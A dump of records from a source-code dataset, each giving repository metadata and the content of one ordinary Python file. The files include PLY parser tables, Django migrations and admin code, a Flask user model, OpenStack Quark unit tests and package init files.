_lr_goto_items _lr_productions = [ ("S' -> main","S'",1,None,None,None), ('main -> UNKNOWN','main',1,'p_main','ogip.py',180), ('main -> complete_expression','main',1,'p_main','ogip.py',181), ('main -> scale_factor complete_expression','main',2,'p_main','ogip.py',182), ('main -> scale_factor WHITESPACE complete_expression','main',3,'p_main','ogip.py',183), ('complete_expression -> product_of_units','complete_expression',1,'p_complete_expression','ogip.py',194), ('product_of_units -> unit_expression','product_of_units',1,'p_product_of_units','ogip.py',200), ('product_of_units -> division unit_expression','product_of_units',2,'p_product_of_units','ogip.py',201), ('product_of_units -> product_of_units product unit_expression','product_of_units',3,'p_product_of_units','ogip.py',202), ('product_of_units -> product_of_units division unit_expression','product_of_units',3,'p_product_of_units','ogip.py',203), ('unit_expression -> unit','unit_expression',1,'p_unit_expression','ogip.py',217), ('unit_expression -> UNIT OPEN_PAREN complete_expression CLOSE_PAREN','unit_expression',4,'p_unit_expression','ogip.py',218), ('unit_expression -> OPEN_PAREN complete_expression CLOSE_PAREN','unit_expression',3,'p_unit_expression','ogip.py',219), ('unit_expression -> UNIT OPEN_PAREN complete_expression CLOSE_PAREN power numeric_power','unit_expression',6,'p_unit_expression','ogip.py',220), ('unit_expression -> OPEN_PAREN complete_expression CLOSE_PAREN power numeric_power','unit_expression',5,'p_unit_expression','ogip.py',221), ('scale_factor -> LIT10 power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',248), ('scale_factor -> LIT10','scale_factor',1,'p_scale_factor','ogip.py',249), ('scale_factor -> signed_float','scale_factor',1,'p_scale_factor','ogip.py',250), ('scale_factor -> signed_float power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',251), ('scale_factor -> signed_int power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',252), ('division -> DIVISION','division',1,'p_division','ogip.py',267), ('division -> WHITESPACE DIVISION','division',2,'p_division','ogip.py',268), ('division -> WHITESPACE DIVISION WHITESPACE','division',3,'p_division','ogip.py',269), ('division -> DIVISION WHITESPACE','division',2,'p_division','ogip.py',270), ('product -> WHITESPACE','product',1,'p_product','ogip.py',276), ('product -> STAR','product',1,'p_product','ogip.py',277), ('product -> WHITESPACE STAR','product',2,'p_product','ogip.py',278), ('product -> WHITESPACE STAR WHITESPACE','product',3,'p_product','ogip.py',279), ('product -> STAR WHITESPACE','product',2,'p_product','ogip.py',280), ('power -> STARSTAR','power',1,'p_power','ogip.py',286), ('unit -> UNIT','unit',1,'p_unit','ogip.py',292), ('unit -> UNIT power numeric_power','unit',3,'p_unit','ogip.py',293), ('numeric_power -> UINT','numeric_power',1,'p_numeric_power','ogip.py',302), ('numeric_power -> signed_float','numeric_power',1,'p_numeric_power','ogip.py',303), ('numeric_power -> OPEN_PAREN signed_int CLOSE_PAREN','numeric_power',3,'p_numeric_power','ogip.py',304), ('numeric_power -> OPEN_PAREN signed_float CLOSE_PAREN','numeric_power',3,'p_numeric_power','ogip.py',305), ('numeric_power -> OPEN_PAREN signed_float division UINT CLOSE_PAREN','numeric_power',5,'p_numeric_power','ogip.py',306), ('sign -> SIGN','sign',1,'p_sign','ogip.py',317), ('sign -> <empty>','sign',0,'p_sign','ogip.py',318), ('signed_int -> SIGN UINT','signed_int',2,'p_signed_int','ogip.py',327), ('signed_float -> sign UINT','signed_float',2,'p_signed_float','ogip.py',333), ('signed_float -> sign UFLOAT','signed_float',2,'p_signed_float','ogip.py',334), ]

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6cc25fb038c79062c110c0e9bb22618927a8e29e

914

py

Python

experiments/BA_20spin/train_and_test_eco.py

davidzyx/eco-dqn

eb417d06d6e0533cfe8d02ce1860312ac905684c

[ "MIT" ]

57

2019-09-16T15:59:54.000Z

2022-02-14T07:14:16.000Z

experiments/BA_20spin/train_and_test_eco.py

davidzyx/eco-dqn

eb417d06d6e0533cfe8d02ce1860312ac905684c

[ "MIT" ]

6

2020-07-01T21:19:45.000Z

2021-11-17T20:52:31.000Z

experiments/BA_20spin/train_and_test_eco.py

davidzyx/eco-dqn

eb417d06d6e0533cfe8d02ce1860312ac905684c

[ "MIT" ]

19

2019-12-09T04:26:12.000Z

2022-03-02T20:20:09.000Z

""" Trains and tests ECO-DQN on 20 spin BA graphs. """ import experiments.BA_20spin.test.test_eco as test import experiments.BA_20spin.train.train_eco as train save_loc="BA_20spin/eco" train.run(save_loc) test.run(save_loc, graph_save_loc="_graphs/validation/BA_20spin_m4_100graphs.pkl", batched=True, max_batch_size=None) test.run(save_loc, graph_save_loc="_graphs/validation/BA_40spin_m4_100graphs.pkl", batched=True, max_batch_size=None) test.run(save_loc, graph_save_loc="_graphs/validation/BA_60spin_m4_100graphs.pkl", batched=True, max_batch_size=None) test.run(save_loc, graph_save_loc="_graphs/validation/BA_100spin_m4_100graphs.pkl", batched=True, max_batch_size=None) test.run(save_loc, graph_save_loc="_graphs/validation/BA_200spin_m4_100graphs.pkl", batched=True, max_batch_size=25) test.run(save_loc, graph_save_loc="_graphs/validation/BA_500spin_m4_100graphs.pkl", batched=True, max_batch_size=5)

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4

6cd3ca3509174bf76a7cfec30d3f3f923cfd8a36

3,362

py

Python

guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py

evton/Emissor-pedidos-lanchonete

87869c3eb6860ba4486d069ffc4759648f044783

[ "MIT" ]

null

guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py

evton/Emissor-pedidos-lanchonete

87869c3eb6860ba4486d069ffc4759648f044783

[ "MIT" ]

null

guilanche/pedido/migrations/0004_rename_l10_preco_pocao_pedido_l10_preco_porcao_and_more.py

evton/Emissor-pedidos-lanchonete

87869c3eb6860ba4486d069ffc4759648f044783

[ "MIT" ]

null

# Generated by Django 4.0 on 2022-01-04 21:59 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('pedido', '0003_pedido_l10_preco_acai_pedido_l10_preco_bebida_and_more'), ] operations = [ migrations.RenameField( model_name='pedido', old_name='l10_preco_pocao', new_name='l10_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l10_quant_pocao', new_name='l10_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l1_preco_pocao', new_name='l1_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l1_quant_pocao', new_name='l1_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l2_preco_pocao', new_name='l2_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l2_quant_pocao', new_name='l2_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l3_preco_pocao', new_name='l3_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l3_quant_pocao', new_name='l3_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l4_preco_pocao', new_name='l4_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l4_quant_pocao', new_name='l4_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l5_preco_pocao', new_name='l5_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l5_quant_pocao', new_name='l5_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l6_preco_pocao', new_name='l6_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l6_quant_pocao', new_name='l6_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l7_preco_pocao', new_name='l7_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l7_quant_pocao', new_name='l7_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l8_preco_pocao', new_name='l8_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l8_quant_pocao', new_name='l8_quant_porcao', ), migrations.RenameField( model_name='pedido', old_name='l9_preco_pocao', new_name='l9_preco_porcao', ), migrations.RenameField( model_name='pedido', old_name='l9_quant_pocao', new_name='l9_quant_porcao', ), ]

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1

0

1

0

null

0

4

9f2b070bdf21d305ac4ca3c2694f08d464941acb

250

py

Python

dbstorage/admin.py

JoshData/django-database-storage-backend

34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18

[ "CC0-1.0" ]

1

2017-07-22T09:00:04.000Z

dbstorage/admin.py

if-then-fund/django-database-storage

34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18

[ "CC0-1.0" ]

null

dbstorage/admin.py

if-then-fund/django-database-storage

34fc8cb692edcb6c12f7072cd8f9b9bc339e4f18

[ "CC0-1.0" ]

null

from django.contrib import admin from .models import StoredFile class StoredFileAdmin(admin.ModelAdmin): list_display = ['path', 'mime_type', 'size', 'created', 'updated'] search_fields = ['path'] admin.site.register(StoredFile, StoredFileAdmin)

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null

0

1

0

1

0

4

9f5a615761da87145c8fffaa308457ae0d8e42b8

2,489

py

Python

dao/utilisateur.py

nschrader/project_whiskey

a251cc73127e8d92e4295e67d5d2987341bc1dab

[ "MIT" ]

2

2018-04-30T13:31:48.000Z

2018-10-01T14:03:28.000Z

dao/utilisateur.py

nschrader/project_whiskey

a251cc73127e8d92e4295e67d5d2987341bc1dab

[ "MIT" ]

null

dao/utilisateur.py

nschrader/project_whiskey

a251cc73127e8d92e4295e67d5d2987341bc1dab

[ "MIT" ]

null

from werkzeug.security import generate_password_hash, check_password_hash from overrides import overrides from flask_login import UserMixin from uuid import uuid4 as uuid from datetime import datetime from mongoengine import * import config import dao.voeu class Utilisateur(UserMixin, Document): nom = StringField(required = True) prenom = StringField(required = True) mail = EmailField(required = True, domain_whitelist = ["insa-lyon.fr"], unique = True) password = StringField(required = True) token = StringField() token_timestamp = DateTimeField() active = BooleanField(default = False) admin = BooleanField(default = False) departement = ReferenceField("Departement") niveau = IntField() mobilites = ListField(ReferenceField("Universite")) voeux_annee = IntField() voeu_1 = EmbeddedDocumentField("Voeu") voeu_2 = EmbeddedDocumentField("Voeu") def get_nom(self): return "{} {}".format(self.prenom, self.nom) def make_token(self): self.token = uuid().hex self.token_timestamp = datetime.now() @overrides def get_id(self): return str(self.pk) @property @overrides def is_active(self): return self.active def validate_login(self, password): return check_password_hash(self.password, password) @classmethod #TODO: Use endm instead of -1, 0, 1 def verifify_token(cls, token): user = cls.objects(token = token).first() if user: timediff = datetime.now() - user.token_timestamp if timediff.total_seconds() < config.TOKEN_TIMEOUT: if timediff.total_seconds() < config.TOKEN_VALIDITY_TIMEOUT: user.active = True user.save() return 1 else: return 0 return -1 @classmethod def get_root(cls): root_user = cls.objects(mail = config.ROOT).first() if not root_user: password = generate_password_hash(config.ROOT_PSWD) root_user = Utilisateur( mail = config.ROOT, password = password, nom = "Root", prenom = "Admin", admin = True, active = True ) root_user.save() return root_user @staticmethod def get_annee_choices(): return [("2", "2A"), ("3", "3A"), ("4", "4A"), ("5", "5A")]

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false

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null

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null

0

1

0

1

0

1

0

4

9f6a3498a3d33cc50ef6dc65b5f53bf34533b737

12,702

py

Python

quark/tests/plugin_modules/test_ip_policies.py

jkoelker/quark

522d800cfb8fef2627baf3bceb7389604bd2d4ce

[ "Apache-2.0" ]

null

quark/tests/plugin_modules/test_ip_policies.py

jkoelker/quark

522d800cfb8fef2627baf3bceb7389604bd2d4ce

[ "Apache-2.0" ]

11

2015-09-10T21:20:04.000Z

2015-09-10T21:20:05.000Z

quark/tests/plugin_modules/test_ip_policies.py

jkoelker/quark

522d800cfb8fef2627baf3bceb7389604bd2d4ce

[ "Apache-2.0" ]

null

# Copyright 2013 Openstack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import contextlib import mock import netaddr from neutron.common import exceptions from quark import exceptions as quark_exceptions from quark.tests import test_quark_plugin class TestQuarkGetIpPolicies(test_quark_plugin.TestQuarkPlugin): @contextlib.contextmanager def _stubs(self, ip_policy): db_mod = "quark.db.api" with mock.patch("%s.ip_policy_find" % db_mod) as ip_policy_find: ip_policy_find.return_value = ip_policy yield def test_get_ip_policy_not_found(self): with self._stubs(None): with self.assertRaises(quark_exceptions.IPPolicyNotFound): self.plugin.get_ip_policy(self.context, 1) def test_get_ip_policy(self): ip_policy = dict( id=1, tenant_id=1, name="foo", subnets=[dict(id=1)], networks=[dict(id=2)], exclude=[dict(offset=1, length=256)]) with self._stubs(ip_policy): resp = self.plugin.get_ip_policy(self.context, 1) self.assertEqual(len(resp.keys()), 6) self.assertEqual(resp["id"], 1) self.assertEqual(resp["name"], "foo") self.assertEqual(resp["subnet_ids"], [1]) self.assertEqual(resp["network_ids"], [2]) self.assertEqual(resp["exclude"], ip_policy["exclude"]) self.assertEqual(resp["tenant_id"], 1) def test_get_ip_policies(self): ip_policy = dict( id=1, tenant_id=1, name="foo", subnets=[dict(id=1)], networks=[dict(id=2)], exclude=[dict(offset=1, length=256)]) with self._stubs([ip_policy]): resp = self.plugin.get_ip_policies(self.context) self.assertEqual(len(resp), 1) resp = resp[0] self.assertEqual(len(resp.keys()), 6) self.assertEqual(resp["id"], 1) self.assertEqual(resp["subnet_ids"], [1]) self.assertEqual(resp["network_ids"], [2]) self.assertEqual(resp["exclude"], ip_policy["exclude"]) self.assertEqual(resp["name"], "foo") self.assertEqual(resp["tenant_id"], 1) class TestQuarkCreateIpPolicies(test_quark_plugin.TestQuarkPlugin): @contextlib.contextmanager def _stubs(self, ip_policy, subnet=None, net=None): db_mod = "quark.db.api" with contextlib.nested( mock.patch("%s.subnet_find" % db_mod), mock.patch("%s.network_find" % db_mod), mock.patch("%s.ip_policy_create" % db_mod), ) as (subnet_find, net_find, ip_policy_create): subnet_find.return_value = [subnet] if subnet else None net_find.return_value = [net] if net else None ip_policy_create.return_value = ip_policy yield ip_policy_create def test_create_ip_policy_invalid_body_missing_exclude(self): with self._stubs(None): with self.assertRaises(exceptions.BadRequest): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict())) def test_create_ip_policy_invalid_body_missing_netsubnet(self): with self._stubs(None): with self.assertRaises(exceptions.BadRequest): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(exclude=["1.1.1.1/24"]))) def test_create_ip_policy_invalid_subnet(self): with self._stubs(None): with self.assertRaises(exceptions.SubnetNotFound): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(subnet_ids=[1], exclude=["1.1.1.1/24"]))) def test_create_ip_policy_invalid_network(self): with self._stubs(None): with self.assertRaises(exceptions.NetworkNotFound): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(network_ids=[1], exclude=["1.1.1.1/24"]))) def test_create_ip_policy_network_ip_policy_already_exists(self): with self._stubs(None, net=dict(id=1, ip_policy=dict(id=2))): with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(network_ids=[1], exclude=["1.1.1.1/24"]))) def test_create_ip_policy_subnet_ip_policy_already_exists(self): with self._stubs(None, subnet=dict(id=1, ip_policy=dict(id=2))): with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists): self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(subnet_ids=[1], exclude=["1.1.1.1/24"]))) def test_create_ip_policy_network(self): ipp = dict(subnet_id=None, network_id=1, exclude=[dict(address=int(netaddr.IPAddress("1.1.1.1")), prefix=24)]) with self._stubs(ipp, net=dict(id=1, ip_policy=dict(id=2))): with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists): resp = self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(network_ids=[1], exclude=["1.1.1.1/24"]))) self.assertEqual(len(resp.keys()), 3) self.assertIsNone(resp["subnet_ids"]) self.assertEqual(resp["network_ids"], 1) self.assertEqual(resp["exclude"], [dict()]) def test_create_ip_policy_subnet(self): ipp = dict(subnet_id=1, network_id=None, exclude=[dict(address=int(netaddr.IPAddress("1.1.1.1")), prefix=24)]) with self._stubs(ipp, subnet=dict(id=1, ip_policy=dict(id=2))): with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists): resp = self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(subnet_ids=[1], exclude=["1.1.1.1/24"]))) self.assertEqual(len(resp.keys()), 3) self.assertEqual(resp["subnet_id"], 1) self.assertIsNone(resp["network_id"]) self.assertEqual(resp["exclude"], ["1.1.1.1/24"]) def test_create_ip_policy(self): ipp = dict( subnets=[dict(id=1)], networks=[], id=1, tenant_id=1, exclude=[dict(offset=0, length=256)], name="foo") with self._stubs(ipp, subnet=dict(id=1, ip_policy=None)): resp = self.plugin.create_ip_policy(self.context, dict( ip_policy=dict(subnet_ids=[1], exclude=[dict(offset=0, length=256)]))) self.assertEqual(len(resp.keys()), 6) self.assertEqual(resp["subnet_ids"], [1]) self.assertEqual(resp["network_ids"], []) self.assertEqual(resp["exclude"], [dict(offset=0, length=256)]) self.assertEqual(resp["name"], "foo") self.assertEqual(resp["tenant_id"], 1) class TestQuarkUpdateIpPolicies(test_quark_plugin.TestQuarkPlugin): @contextlib.contextmanager def _stubs(self, ip_policy, subnets=None, networks=None): if not subnets: subnets = [] if not networks: networks = [] db_mod = "quark.db.api" with contextlib.nested( mock.patch("%s.ip_policy_find" % db_mod), mock.patch("%s.subnet_find" % db_mod), mock.patch("%s.network_find" % db_mod), mock.patch("%s.ip_policy_update" % db_mod), ) as (ip_policy_find, subnet_find, network_find, ip_policy_update): ip_policy_find.return_value = ip_policy subnet_find.return_value = subnets network_find.return_value = networks yield ip_policy_update def test_update_ip_policy_not_found(self): with self._stubs(None) as (ip_policy_update): with self.assertRaises(quark_exceptions.IPPolicyNotFound): self.plugin.update_ip_policy(self.context, 1, dict(ip_policy=None)) self.assertEqual(ip_policy_update.called, 0) def test_update_ip_policy_subnets_not_found(self): ipp = dict(id=1, subnets=[]) with self._stubs(ipp) as (ip_policy_update): with self.assertRaises(exceptions.SubnetNotFound): self.plugin.update_ip_policy( self.context, 1, dict(ip_policy=dict(subnet_ids=[100]))) self.assertEqual(ip_policy_update.called, 0) def test_update_ip_policy_subnets_already_exists(self): ipp = dict(id=1, subnets=[dict()]) with self._stubs( ipp, subnets=[dict(id=1, ip_policy=dict(id=1))] ) as (ip_policy_update): with self.assertRaises(quark_exceptions.IPPolicyAlreadyExists): self.plugin.update_ip_policy( self.context, 1, dict(ip_policy=dict(subnet_ids=[100]))) self.assertEqual(ip_policy_update.called, 0) def test_update_ip_policy_subnets(self): ipp = dict(id=1, subnets=[dict()], exclude=[dict(offset=0, length=256)], name="foo", tenant_id=1) with self._stubs( ipp, subnets=[dict(id=1, ip_policy=None)] ) as (ip_policy_update): self.plugin.update_ip_policy( self.context, 1, dict(ip_policy=dict(subnet_ids=[100]))) self.assertEqual(ip_policy_update.called, 1) def test_update_ip_policy_networks_not_found(self): ipp = dict(id=1, networks=[]) with self._stubs(ipp) as (ip_policy_update): with self.assertRaises(exceptions.NetworkNotFound): self.plugin.update_ip_policy( self.context, 1, dict(ip_policy=dict(network_ids=[100]))) self.assertEqual(ip_policy_update.called, 0) def test_update_ip_policy_networks(self): ipp = dict(id=1, networks=[dict()], exclude=[dict(offset=0, length=256)], name="foo", tenant_id=1) with self._stubs( ipp, networks=[dict(id=1, ip_policy=None)] ) as (ip_policy_update): self.plugin.update_ip_policy( self.context, 1, dict(ip_policy=dict(network_ids=[100]))) self.assertEqual(ip_policy_update.called, 1) class TestQuarkDeleteIpPolicies(test_quark_plugin.TestQuarkPlugin): @contextlib.contextmanager def _stubs(self, ip_policy): db_mod = "quark.db.api" with contextlib.nested( mock.patch("%s.ip_policy_find" % db_mod), mock.patch("%s.ip_policy_delete" % db_mod), ) as (ip_policy_find, ip_policy_delete): ip_policy_find.return_value = ip_policy yield ip_policy_find, ip_policy_delete def test_delete_ip_policy_not_found(self): with self._stubs(None): with self.assertRaises(quark_exceptions.IPPolicyNotFound): self.plugin.delete_ip_policy(self.context, 1) def test_delete_ip_policy_in_use(self): with self._stubs(dict(networks=True)): with self.assertRaises(quark_exceptions.IPPolicyInUse): self.plugin.delete_ip_policy(self.context, 1) def test_delete_ip_policy(self): ip_policy = dict( id=1, networks=[], subnets=[]) with self._stubs(ip_policy) as (ip_policy_find, ip_policy_delete): self.plugin.delete_ip_policy(self.context, 1) self.assertEqual(ip_policy_find.call_count, 1) self.assertEqual(ip_policy_delete.call_count, 1)

42.912162

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0.130217

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0.140562

0

null

0

1

0

null

0

4

9fa69114a19ce29692fd584e641c4dcd2cb8ce1c

107

py

Python

projects/Alleria/alleria/data/__init__.py

sm047/detectron2

1036cce320ce0f2adbce7f143566462d3222bd5a

[ "Apache-2.0" ]

5

2020-06-16T11:31:22.000Z

2021-11-08T03:07:47.000Z

projects/Alleria/alleria/data/__init__.py

fangchengji/detectron2

1036cce320ce0f2adbce7f143566462d3222bd5a

[ "Apache-2.0" ]

null

projects/Alleria/alleria/data/__init__.py

fangchengji/detectron2

1036cce320ce0f2adbce7f143566462d3222bd5a

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # @Time : 31/5/20 3:32 PM # @Author : fangcheng.ji # @FileName: __init__.py.py

17.833333

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0.626168

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3.5

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0.186916

107

5

29

21.4

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0.915888

0

null

0

null

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null

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null

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null

true

0

null

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1

0

1

0

null

0

1

0

4

4c843d7a1c6b3e93485bb0c4280c884637b12c86

163

py

Python

problem0313.py

kmarcini/Project-Euler-Python

d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3

[ "BSD-3-Clause" ]

null

problem0313.py

kmarcini/Project-Euler-Python

d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3

[ "BSD-3-Clause" ]

null

problem0313.py

kmarcini/Project-Euler-Python

d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3

[ "BSD-3-Clause" ]

null

########################### # # #313 Sliding game - Project Euler # https://projecteuler.net/problem=313 # # Code by Kevin Marciniak # ###########################

18.111111

38

0.466258

14

163

5.428571

0.928571

0

0.041667

0.116564

163

8

39

20.375

0.486111

0.570552

0

null

0

null

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null

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true

0

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null

0

1

0

1

0

null

0

1

0

4

4ca77d17570326bf4e5d3e401f45fe0e0e45c332

264

py

Python

src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py

yukgu/covid-model-seiir-pipeline

3433034d3f089938e7993b6321d570365bdf62db

[ "BSD-3-Clause" ]

23

2020-05-25T00:20:32.000Z

2022-01-18T10:32:09.000Z

src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py

yukgu/covid-model-seiir-pipeline

3433034d3f089938e7993b6321d570365bdf62db

[ "BSD-3-Clause" ]

15

2020-06-15T16:34:22.000Z

2021-08-15T22:11:37.000Z

src/covid_model_seiir_pipeline/pipeline/diagnostics/__init__.py

yukgu/covid-model-seiir-pipeline

3433034d3f089938e7993b6321d570365bdf62db

[ "BSD-3-Clause" ]

11

2020-05-24T21:57:29.000Z

2021-09-07T18:21:15.000Z

from covid_model_seiir_pipeline.pipeline.diagnostics.specification import ( DIAGNOSTICS_JOBS, DiagnosticsSpecification, ) from covid_model_seiir_pipeline.pipeline.diagnostics.task import ( cumulative_deaths_compare_csv, grid_plots, scatters, )

26.4

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0.810606

28

264

7.25

0.642857

0.08867

0.137931

0.187192

0.453202

0

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9

76

29.333333

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true

0

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null

0

1

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1

0

null

0

1

0

4

4caf97a5f6604b46b27e3acb7e9033b584f6a09e

209

py

Python

app/core/apps.py

clicktravel-rob/tk-django-exercise

e71c28b85a760680328c1640fa0dc47d892626dc

[ "MIT" ]

null

app/core/apps.py

clicktravel-rob/tk-django-exercise

e71c28b85a760680328c1640fa0dc47d892626dc

[ "MIT" ]

1

2021-09-02T15:10:30.000Z

2021-09-03T13:24:07.000Z

app/core/apps.py

clicktravel-rob/tk-django-exercise

e71c28b85a760680328c1640fa0dc47d892626dc

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class RecipeConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'recipe'

20.9

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4cd347d48f0b3dc073bcb81ce883857016007bf2

221

py

Python

tensorflow_model.py

Haoyu-R/P1_Facial_Keypoints-master

32cc8e4d5b01b9e5ad039b19bedf10b5450a361a

[ "MIT" ]

null

tensorflow_model.py

Haoyu-R/P1_Facial_Keypoints-master

32cc8e4d5b01b9e5ad039b19bedf10b5450a361a

[ "MIT" ]

4

2021-06-08T22:40:36.000Z

2022-03-12T00:27:45.000Z

tensorflow_model.py

Haoyu-R/P1_Facial_Keypoints-master

32cc8e4d5b01b9e5ad039b19bedf10b5450a361a

[ "MIT" ]

null

import tensorflow as tf from keras.layers import Conv2D, Flatten, MaxPooling2D, Dense, BatchNormalization, Dropout from keras.models import Sequential import numpy as np model = Sequential([ Conv2D(128, (5, 5), ) ])

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0

1

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4cded4ad2353fcdea765920d4e01e280ac485807

238

py

Python

backend/user_management/urls.py

Extramus-Dev/theatre-platform

8b027542f3b151fe9b62ff1ddad7cea8a41829ea

[ "MIT" ]

null

backend/user_management/urls.py

Extramus-Dev/theatre-platform

8b027542f3b151fe9b62ff1ddad7cea8a41829ea

[ "MIT" ]

9

2021-11-12T12:49:28.000Z

2021-11-15T15:18:34.000Z

backend/user_management/urls.py

Extramus-Dev/theatre-platform

8b027542f3b151fe9b62ff1ddad7cea8a41829ea

[ "MIT" ]

null

from django.urls import path from . import views urlpatterns = [ path('signup/viewer', views.SignUPViewer.as_view(), name='signup_viewer'), path('signup/contentcreator', views.SignUPContentCreator.as_view(), name='signup_cc'), ]

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null

0

1

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4

4ceadb82813e07db86aa098c57f9b9c64ca4b872

19

py

Python

rsds/process_args.py

darrenzimire/RNASeqDesigner

1fc5323b13bed0cb62a7ba522cb7e89b23eb3515

[ "MIT" ]

null

rsds/process_args.py

darrenzimire/RNASeqDesigner

1fc5323b13bed0cb62a7ba522cb7e89b23eb3515

[ "MIT" ]

null

rsds/process_args.py

darrenzimire/RNASeqDesigner

1fc5323b13bed0cb62a7ba522cb7e89b23eb3515

[ "MIT" ]

null

# encoding =UTF-8

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0

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0

1

0

null

0

1

0

4

980ab668b495d245976f06c73a3b13b10c93cdc7

53

py

Python

distwin/__init__.py

ClericPy/distribute-python-on-windows

9926e222933e715f51d93bc1ed3c47fb816f2145

[ "MIT" ]

2

2020-01-19T01:20:02.000Z

2020-04-17T04:11:47.000Z

distwin/__init__.py

ClericPy/distribute-python-on-windows

9926e222933e715f51d93bc1ed3c47fb816f2145

[ "MIT" ]

1

2019-10-27T09:50:02.000Z

distwin/__init__.py

ClericPy/distribute-python-on-windows

9926e222933e715f51d93bc1ed3c47fb816f2145

[ "MIT" ]

null

from ._controller import ShivUtils, __version__, cli

26.5

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4

e27667342b1ad7974f44e0b78e71a28008262f28

154

py

Python

deui/html/view/dl_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

1

2021-10-17T01:54:18.000Z

deui/html/view/dl_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

null

deui/html/view/dl_element.py

urushiyama/DeUI

14530d2dae7d96a3dee30759f85e02239fb433c5

[ "MIT" ]

null

from .element import Element class DefinitionList(Element): """ Represents definition list. """ def __str__(self): return "dl"

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null

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null

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1

0

1

0

4

2c38507952dc77a5101db7c3ea78af7a0e90df77

927

py

Python

swagger_server/models/__init__.py

Adtrac/swagger_cms

4889b5986808555933a1e3db4742fe542bdf2a72

[ "MIT" ]

null

swagger_server/models/__init__.py

Adtrac/swagger_cms

4889b5986808555933a1e3db4742fe542bdf2a72

[ "MIT" ]

null

swagger_server/models/__init__.py

Adtrac/swagger_cms

4889b5986808555933a1e3db4742fe542bdf2a72

[ "MIT" ]

null

# coding: utf-8 # flake8: noqa from __future__ import absolute_import # import models into model package from swagger_server.models.asset import Asset from swagger_server.models.assets import Assets from swagger_server.models.assets_body import AssetsBody from swagger_server.models.opening_hour import OpeningHour from swagger_server.models.player import Player from swagger_server.models.player_state import PlayerState from swagger_server.models.players import Players from swagger_server.models.playout_plan import PlayoutPlan from swagger_server.models.playout_plan_playouts import PlayoutPlanPlayouts from swagger_server.models.playout_plan_target_group import PlayoutPlanTargetGroup from swagger_server.models.report import Report from swagger_server.models.report_inner import ReportInner from swagger_server.models.special_days import SpecialDays from swagger_server.models.special_days_inner import SpecialDaysInner

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2c7d6abdff653d2941ad4009919b272e10e8f787

726

py

Python

RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

6

2017-09-08T14:12:56.000Z

2022-03-09T23:57:01.000Z

RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

545

2017-09-19T17:10:19.000Z

2022-03-07T16:55:27.000Z

RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

14

2017-10-04T09:47:21.000Z

2019-10-23T18:04:45.000Z

